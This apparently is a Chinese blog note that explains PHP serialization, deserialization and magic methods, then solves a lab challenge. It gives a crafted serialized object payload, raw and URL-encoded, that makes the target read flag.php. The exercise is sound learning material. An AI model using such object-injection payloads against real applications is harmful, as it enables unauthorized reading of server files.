序列化
序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
说人话就是把当前的状态保存下来 (游戏的存档)
反序列化
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
说人话就是通过保存下来的信息恢复到当初的状态 (游戏的读档)
注意:序列化和反序列化也是有主体 - Class 类 (A类的序列化内容不能给B类用)
类 -> 是一个较大范围 是一个抽象的概念
方法 -> 函数[类里面的函数]
对象 -> 具体化的对象
类 -> 实例化 -> 对象
> 类和函数一样,都是为了满足某种功能而存在的
PHP魔术方法
魔术方法是php中特有的一种方法,是能够自动触发的函数。
__construct():当对象创建(nwe)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)__destruct():当对象被销毁时会自动调用。(析构函数)__wakeup() :如前所提,unserialize()时会被调用
__wakeup //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
曾经写过一篇笔记。传送口
靶场实操
靶场源码

e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D


得到flag
Comments NOTHING